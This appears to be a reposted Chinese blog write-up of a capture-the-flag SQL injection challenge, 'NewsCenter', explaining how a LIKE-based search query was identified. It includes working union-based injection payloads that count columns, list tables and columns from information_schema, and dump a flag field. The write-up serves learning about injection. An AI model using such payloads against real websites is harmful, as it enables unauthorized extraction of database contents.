zoukankan      html  css  js  c++  java
  • NewsCenter

    NewsCenter

    这是一道sql注入的题目

    按照套路,开始构造语句

    1 回显正常

    9999 回显空,说明查询为假时,内容返回空

    1 and 1=2 内容回显空,然后就怀疑是数字型注入,但是接着构造

    1 order by 1 内容回显空,按理说应该是回显正常

    1 order by 2 内容还是回显空。。

    1 order by 9999 内容还是回显空。。。这时候就怀疑是不是不是数字型。。

    接着构造

    1' 跟查询为假时不同,此时页面完全是空,就说明是报错了。。但是没有返回报错内容

    1' -- +这时返回的不再是页面完全为空,但是返回的是内容为空。很迷

    原来这题触及了知识盲区,之前接触的都是形如select * from [table_name] where id=

    但是这题的后台查询语句形如select * from [table_name] where content like '%$search%'

    知识点

    select * from actors where first_name like '%i%'

    表示模糊查询,筛选出first_name中只要有i的数据

    select * from actors where first_name like '%i'

    表示返回first_name中以i结尾的数据

    select * from actors where first_name like 'i%'

    表示返回first_name中以i开头的数据

    select * from actors where first_name like '%1111%' or 1=1

    这时会爆出全部数据,因为后面有个or 1=1(跟 where id=222 or 1=1 类似)

    思路

    猜出后台查询语句后

    爆列数

    1' order by 3-- +回显内容空

    1' order by 4 -- +回显页面空,说明报错,列数三列

    爆表

    1' union select 11,22,33 -- + 插入了22和33

    1' union select 11,22,group_concat(table_name) from information_schema.tables where table_schema=database() -- + 爆出表 news,secret_table
    爆secret_table列名

    1' union select 11,22,group_concat(column_name) from information_schema.columns where table_name='secret_table' -- + 爆出列名id,fl4g
    爆fl4g字段具体内容

    1' union select 11,22,group_concat(fl4g) from secret_table -- +

    总结就是当返回报错页面时,然后又通过注释绕过了,那么就能判断出查询的关键字的形式例如'',(),"",然后进行注入。这题之所以卡住就是因为数字型那里拿不准。。原来是 select * from new where content like %%

    当注入 1 and 1=2 时,因为没有这个内容,所以内容返回为空,然后就以为是数字型注入。。

  • 相关阅读:
    [洛谷P4774] [NOI2018]屠龙勇士
    [洛谷P3338] [ZJOI2014]力
    [洛谷P1707] 刷题比赛
    svn查看指定版本提交信息的命令
    ajax无刷新上传文件
    给docker里的php安装gd扩展
    PHP基于openssl实现的非对称加密操作
    php获取文件扩展名
    javascript格式化日期
    javascript获取url参数
  • 原文地址:https://www.cnblogs.com/NineOne/p/13855268.html
Copyright © 2011-2022 走看看